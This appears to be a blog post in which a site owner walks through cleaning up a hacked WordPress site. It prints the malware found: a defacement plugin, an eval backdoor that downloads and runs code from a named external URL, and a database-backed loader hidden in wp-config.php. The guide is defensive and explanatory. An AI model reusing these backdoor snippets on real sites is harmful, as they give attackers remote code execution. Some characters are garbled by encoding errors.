How I Recovered My Hacked WordPress Site

A Step-by-Step Survival Guide

🚨 Last week, my WordPress website was hacked. Admin users were created automatically, my Plugins and Appearance menus disappeared, and I found malicious code everywhere. Here's exactly how I fought back and took back control.

🚨 The Attack: What Happened to My Site

It started like a nightmare. I logged into my WordPress dashboard to find:

I couldn't install security plugins, change themes, or even access critical settings. The hacker had locked me out of my own website.

But I had cPanel access, and I wasn't giving up. Here's the complete battle plan I used to recover my site.

πŸ› οΈ Step 1: Emergency Access via cPanel

Since the WordPress dashboard was compromised, I couldn't rely on it. My first move was to access my site's files directly through cPanel File Manager (or FTP if you prefer).

Pro Tip: If you don't have cPanel access, contact your hosting provider immediately. This is your lifeline.

πŸ” Step 2: Checking wp-config.php for Hidden Restrictions

Hackers often hide menus by adding restrictions to your wp-config.php file. I opened it and searched for:

define('DISALLOW_FILE_MODS', true);
define('DISALLOW_FILE_EDIT', true);

My result: Not found. But I kept this in mind as a possibility for other victims.

πŸ’£ Step 3: The mu-plugins Trap (First Major Discovery)

I navigated to wp-content/ and found a folder called mu-plugins (Must-Use plugins).

Why this matters: mu-plugins run automatically and cannot be deactivated from the WordPress dashboard. Hackers love them.

My action:

  1. Downloaded the entire mu-plugins folder as a ZIP (for evidence/analysis)
  2. Deleted the mu-plugins folder from the server

Result: Still no menus. But I knew this was a common hiding spot, so I was glad I checked.

πŸ”Ž Step 4: Hunting Malicious Plugin Folders

I opened wp-content/plugins/ and found several suspicious folders with weird names:

Each contained only a tiny error_log file (450 bytes). I opened one and found:

<?php
/* Plugin Name: w2sdf */
if(!get_option('w2sdf_done')){
@file_put_contents(ABSPATH."f3ac12a8.txt","Hacked by CoupDeGrace");
@file_put_contents(ABSPATH."a7ed633.html","<br> Hacked by CoupDeGrace <br>");
add_option('w2sdf_done',1);
}

What this did: Created defacement files with "Hacked by CoupDeGrace" messages.

My action: Deleted all these suspicious folders immediately.

🎯 Step 5: The Remote Code Execution Backdoor

In the flavor_c98ec821 folder, I found cox_351e48fa.php with this terrifying code:

<?php
eval("?>".file_get_contents("https://tubersite.dagenhamtv.co.uk/media/com_sppagebuilder/assets/iconfont/km/fonts/bhu/index.txt"));
?>

What this does: This is a Remote Code Execution (RCE) backdoor. It downloads and executes malicious code from an external server every time it loads.

My action: Deleted the entire flavor_c98ec821 folder immediately.

Warning: If you find code like this, delete it immediately. Do not execute it or open it in a browser.

πŸ’€ Step 6: The Database-Powered Malware (Most Dangerous Discovery)

While checking wp-config.php, I found this sophisticated malware disguised as "WP_Core_Integrity":

/* WP_Core_Integrity c8ace243 */
if(!file_exists('/tmp/phpZS3nD8')){
$_o=@(new PDO('mysql:host='.DB_HOST.';dbname='.DB_NAME,DB_USER,DB_PASSWORD))
->query("SELECT option_value FROM ".$table_prefix."options 
WHERE option_name='_site_transient_health_4ae74652'");
if($_o&&($_r=$_o->fetch())){
@file_put_contents('/tmp/phpZS3nD8',base64_decode($_r[0]));
@chmod('/tmp/phpZS3nD8',0644);
}}
/* End-WP_Core_Integrity c8ace243 */

How this works:

  1. Stores malicious code (base64 encoded) in the WordPress database
  2. Checks if a backdoor file exists in /tmp/
  3. If the server deletes it, the code automatically recreates it from the database
  4. This creates a self-healing backdoor that's nearly impossible to fully remove

My cleanup process:

A. Removed from wp-config.php:

B. Purged from database:

  1. Opened phpMyAdmin
  2. Found my table prefix (check wp-config.php for $table_prefix)
  3. Opened [prefix]_options table
  4. Searched for option_name containing _site_transient_health_
  5. Deleted any matching rows
Note: I searched thoroughly but didn't find these entriesβ€”they may have already been cleaned. But I removed the wp-config.php code anyway to prevent reinfection.

πŸ”‘ Step 7: The Plugin Menu Blocker (Final Discovery)

After cleaning all the malware, my menus were STILL missing. Then I tried something drastic:

I disabled ALL plugins via cPanel:

  1. Went to wp-content/
  2. Renamed plugins folder to plugins_DISABLED
  3. Refreshed WordPress dashboard

BOOM! The Plugins, Appearance, and Settings menus instantly reappeared!

This proved: One of my plugins was hiding the menus.

How to find the infected plugin:

  1. Rename plugins_DISABLED back to plugins
  2. Go to WordPress Dashboard > Plugins
  3. Activate plugins ONE BY ONE
  4. After each activation, check if menus disappear
  5. When menus vanish, you've found the culprit
  6. Delete that plugin's folder via cPanel File Manager (don't just deactivate it!)

️ Step 8: Changing ALL Passwords (Critical!)

After removing malware, I changed every single password:

Never skip this step. The hacker had access to everything.

πŸ›‘οΈ Step 9: Installing Wordfence Security

Once I had my menus back, I installed Wordfence Security (free version):

  1. Plugins > Add New > Search "Wordfence"
  2. Install and Activate
  3. Go to Wordfence > Scan
  4. Select "High Sensitivity" scan
  5. Let it run (this can take 30+ minutes)

Wordfence compares your files against the official WordPress repository and finds:

I let it clean everything it found.

πŸ“‹ The Complete Recovery Checklist

Immediate Actions:

Security Hardening:

πŸŽ“ Lessons Learned

1. Hackers are sophisticated

They don't just deface sitesβ€”they create self-healing backdoors in databases, hide code in "error_log" files, and use legitimate-looking names like "WP_Core_Integrity."

2. mu-plugins are dangerous

Must-Use plugins run automatically and can't be deactivated from WordPress. Always check this folder first.

3. Database infections are the worst

File-based malware is easy to delete. Database malware can recreate itself. Always check your [prefix]_options table for suspicious entries.

4. The plugin test is powerful

If menus disappear, rename your plugins folder. If menus return, a plugin is the culprit.

5. Change EVERY password

Don't be lazy. The hacker had access to everything.

πŸ”’ Prevention Tips for the Future

  1. Keep everything updated – Outdated plugins are the #1 infection vector
  2. Use strong passwords – Minimum 16 characters, mix of upper/lower/numbers/symbols
  3. Install security plugins – Wordfence, Sucuri, or Solid Security
  4. Enable 2FA – Two-factor authentication on WordPress AND hosting
  5. Regular backups – Daily automated backups stored off-site
  6. Limit login attempts – Prevent brute force attacks
  7. Use reputable plugins only – Check reviews, update frequency, and active installs
  8. Remove unused plugins/themes – Delete what you don't use
  9. Monitor file changes – Wordfence can alert you when files are modified
  10. Use a Web Application Firewall (WAF) – Cloudflare or Sucuri firewall

πŸ’ͺ Final Thoughts

Getting hacked is terrifying. You feel violated, frustrated, and overwhelmed. But you can recover.

I went from locked out of my own website to fully restored in less than 24 hours. It required:

If you're reading this while your site is hacked: Don't panic. Follow these steps. Take it one at a time. You've got this.

And once you're recovered? Share your story. Help the next person who finds themselves in this nightmare.


Disclaimer: Every hack is different. If you're not comfortable working with server files or databases, contact your hosting provider's support team or hire a WordPress security professional. Many premium hosts (SiteGround, WP Engine, Kinsta) offer free malware removal for their customers.

Have you been hacked? Found this guide helpful? Share your experience. Together, we make WordPress safer for everyone. πŸ›‘οΈ